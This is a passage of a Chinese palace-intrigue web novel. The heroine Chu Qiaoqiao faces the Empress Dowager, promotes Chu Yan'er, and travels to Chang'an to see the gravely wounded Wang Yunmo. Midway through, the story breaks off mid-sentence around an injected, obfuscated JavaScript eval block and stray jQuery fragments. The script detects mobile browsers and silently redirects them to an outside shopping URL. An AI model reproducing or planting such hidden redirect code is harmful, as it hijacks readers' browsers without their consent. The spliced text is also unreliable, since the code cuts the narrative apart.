她说着,扬了扬手中的物件。
楚乔乔眼睛倏地一亮,上前一步,俯身便从那妇人手中夺了过来……是姚凤临的扳指没错。
她脸色骤变,厉声问道:“他在哪里?”
太后瞧着她,眼中惭惭有了得意之色,"你们这些人,终是凡夫俗子,是过不了情字一关的。"
"楚乔乔,本宫告诉你。本宫要让你眼睁睁看着,无论本宫做了多少事情,你却动不了本宫分毫。"
楚乔乔明白了,她是要用姚凤临来威胁自己。这么说,太后是不可能告诉自己姚凤临在哪里。
她盯着太后,似乎要从她身上盯出两个洞来。太后作恶多端,为什么命就那么硬呢!
她一把扼住太后的喉咙,恶狠狠问道:"你告诉我他在哪?我答应,饶你一命,你拿着你的钱,从大燕皇宫中消失!"
旁边的楚嫣儿有些吃惊,太后在宫中,楚乔乔可以随时取她性命。可太后离开了皇宫,就像是鱼入了海,再难寻踪迹。
这已经是楚乔乔最大的让步了,太后这二十年来飞扬跋扈,草菅人命,害了不知多少人。
没想到,太后还不乐意。
"本宫才不要呢,没有了这个身份,本宫死在了外面也无人知晓。你想框骗本宫?嫩着呢!本宫就是要活在这里,让你看着本宫,却伤本宫不得!"
楚乔乔倏地松开手,猛地转身,大步走了出去。
这下连太后也不曾想到,楚乔乔就这样妥协了?还是还有其他后手?
楚嫣儿急忙追上去。
"就...就这样吗?"
楚乔乔冷着脸,"我还能怎么样?我就是不舍得他,你要是骂我色令智昏,我也认了。"
"没有,我没这么想。"楚嫣儿赶紧解释,"姚公子对你一往情深,重情重义,是......是很难决择。"
楚乔乔边走边吩咐:
“把太后身边的人全换了,换我们的人进去,日夜盯着她,看看有谁能近她的身、递得上话。”
她脚步一顿,侧脸吩咐:
“我就不信,这么日日夜夜盯着,还找不出她的破绽,找不出跟她暗中勾连的人。”
"对了,"楚嫣儿提醒道,"她身边之前不是一直有一个叫独孤夜的么?是不是跟这个人有关系?"
楚乔乔此刻想的却是,在信都的西郊那个吹笛子的人,难道是独孤夜?当时本来就看不清模样,过了一些时日,她对那人的印象更加模糊了。
"大人!"楚嫣儿见她没反应,叫了一声。
"那个独孤夜,"楚乔乔像是醒了过来般,吩咐道:"你找人把他的样子画下来,全城搜捕!"
可一连数日,那独孤夜却像消失了般,无影无踪。
那些大臣们,惯会见风使舵。眼见太后大势已去,风向一转,便争先恐后地上书奏折,言辞恳切地推举楚乔乔登基。
楚乔乔不急,一是向来这种劝进表,哪位君王不是循三辞三让的礼数。
二来她想等王允墨把秦国各地的势力全都梳理一遍。若真有什么搞不定的,她还得亲自前去支援。
没想到,还真应了她的考量。
秦国传来的噩耗,清河王付永则不愿降燕,派人刺杀王允墨虽未得逞,但王允墨身受重伤,危在旦夕。
楚乔乔迅速点名五千,准备即刻前往清河地界与王允墨等人汇合。
楚嫣儿请求随同,"大人,你受的重伤并未痊愈,又一直劳苦奔波。我虽没什么经验,但胜在武艺还可以,定然可保护大人安全!"
"不行!"楚乔乔想都不想,马上拒绝,"在这个燕都,我最信得过的就是你了,而且你又不是像高烬言那样的书生,有你在燕都坐镇,我才放得心下。"
楚嫣儿赶紧摆手,拒绝她的捧杀,"别,大人别给我戴高帽了,上次又栽在太后的手上,真的觉得难辞其咎。倒不如跟着大人出去历练一下,见识一番。"
"哦,"这倒提醒了楚乔乔,"你去找我带回来的一位官员,名叫高盖。此人机敏,对官场一套甚为圆滑,你们遇事与他商量一下便好。"
楚嫣儿嘴巴一扁,听楚乔乔的意思,自己想跟着她一起前去秦国的请求,她压根不会理会。
她哪里甘心,正想尽力争取,听得下人来报。
"外面有位姓姚的姑娘找大人。"
那肯定是姚凤凰了,楚乔乔叫人让她进来。
姚凤凰进来后,目光掠过楚嫣儿,只轻轻唤了声“楚姐姐”,便垂下眼不再说话。
“无妨,有事尽管说。”楚乔乔温声对她道。
"楚姐姐,我听说你要准备出发去清河王地界。清河王付永则是我的姨丈,我小时候和三哥在那里住过一段时间,我想跟你一起过去,可能会有帮助。"
她一番话说完,水灵灵的眼睛期待地看着楚乔乔。
楚嫣儿闻言脸色一沉,心里堵得慌!真是气人,怎么连这种事情都有人抢着争?
她忍不住插嘴道:"这才多大的姑娘?就算是有什么亲戚关系,现在这样的情形,也是无济于事。那王允墨这么谨慎的人都被刺杀,小姑娘要是跟去了,还不是多了个累赘。"
楚乔乔正待说话,却听得姚凤凰不服气地反驳楚嫣儿。
"这位姐姐不要小看人,我年纪虽小,可我的武功是不错的,保护自己我绰绰有余,不是累赘。"
“你这小丫头片子,年纪轻轻就学会吹牛啦?”楚嫣儿一脸不信。
姚凤凰一咬牙:“我才不骗人呢!不信咱俩比比!”
"来啊!"楚嫣儿说着向外面院子走去,边走边嚷嚷,"谁赢了谁就跟着定国侯大人去。"
楚乔乔本来还想看看热闹,一听这句话就醒悟过来的。敢情这楚嫣儿明着是不服气姚凤凰,实际是变着法子让自己带她去。
怎么她遇上太后就变傻了,在自己面前却机灵得很呢。
楚乔乔叫住准备跟出去的姚凤凰,"回来,别跟她闹!"
姚凤凰看看外面的楚嫣儿,一脸的不甘心,"我不怕输,但可不能被人说我不敢比试。"
"你也回来!"楚乔乔对着楚嫣儿喊道。
楚嫣儿不情不愿地走回来。
楚乔乔打算给她些补偿,便道:
“你呀,还是老老实实给我待在燕都。我给你升作禁军副统领——我不在的时候,可得把太后看牢了,别再让她作妖。”
“是!谢大人!”楚嫣儿脸上这才绽出笑容。这次没能去历练,下次还有机会嘛。
但这升职的事情,可是光宗耀祖的荣耀,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225583|190079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经迫不及待准备回去写信告诉她家父母了。父亲虽然是个草包,但女儿行啊!
她喜滋滋地告辞,"那在下就不打扰大人讨论公事了!"
她走了后,楚乔乔问了姚凤凰清河王付永则为人。
"他是一个好人。"姚凤凰第一句就这么说。
楚乔乔不以为然,"与我作对的人,没有好人与坏人之分,只有朋友和敌人。"
她目光落在姚凤凰脸上,语气淡而笃定:“你若认定他是个好人、绝不会做坏事,那便留在燕都吧。省得到时候……左右为难。”
"不,不是。"姚凤凰摇摇头,"我当然希望你们之间兵不血刃,姨父他能顺利归顺于您。"
"若是姨父不愿意,我是肯定不会帮助他的,我绝对站在楚姐姐这边。只是...我也不可能伤害他和我的姑姑。"
“好,我明白了。”楚乔乔轻轻抚了抚她的头发,柔声道,“快回去睡吧,明日一早还要启程呢。”
"是。"
***
楚乔乔没想到自己这么快又回到了秦都,现在已经不叫秦都了,她给这城池改了名字,叫常安。
长长久久的和顺安乐。
五千人驻扎在城外,楚乔乔和阿戌,还有姚凤凰一起进城。
离那场围城才过不久,街巷间的炊烟已稠得化不开。叫卖声重新在西市扎了根,酒旗招展处,小二都站在街上吆喝揽客。
正直夏日艳阳天,人们穿着色彩鲜艳的薄衫逛街。仿佛那场围城,只是岁月偶然打的一个盹。
楚乔乔心中安定了些,可见她离开之后,王允墨疏通钱法、抚绥百姓,燕地竟很快恢复了往日繁华,楚乔乔暗自点头。
他的确做得不错。
三人走到王府的门前。
阿戌正准备上前,没想到看门的人却认出楚乔乔来。他啊啊叫了两下,一时紧张,没叫出人名来。
阿戌赶紧提醒他,叫他莫要声张。
看门人赶紧闭嘴,跑去里面报信。
不一会儿,王夫人匆匆忙忙赶出来,神色有几分憔悴。
楚乔乔摆摆手,示意她不要多礼,一行人走了进去。
"他伤势如何了?"
没想到王夫人话还没说出口来,就已经潸然泪下。
楚乔乔见状,轻轻拍了拍她的肩膀,温声安慰道:
“别怕,润之命硬。当年在晒霞山有位道士便这么说过,虽有历难,不伤根本。”
王夫人点了点头,眼泪却止不住地往下掉,一句话也说不出来。
楚乔乔心里明白,此刻说什么都没用,还是先去看看王允墨的伤势要紧。
走到王允墨寝室门前,王夫人就停下了脚步,其他人也站在外面。
楚乔乔对王夫人说道:"麻烦夫人带他们去休息一下。"
王夫人点点头,带着他们离开了。
楚乔乔推门而入,哪怕是点了淡淡的檀香,也遮不住那股血腥味。她估计,可能刚刚换过药没有多久。
王允墨躺在床上,竟像纸一般的薄。记得围城那段日子,他已是过分清瘦,肩胛骨将衣服顶出尖尖的弧度。如今再见,身上的衣服竟显得有些空荡了。
她心中猝然难受,连带着鼻子酸酸的,小心翼翼坐到床边。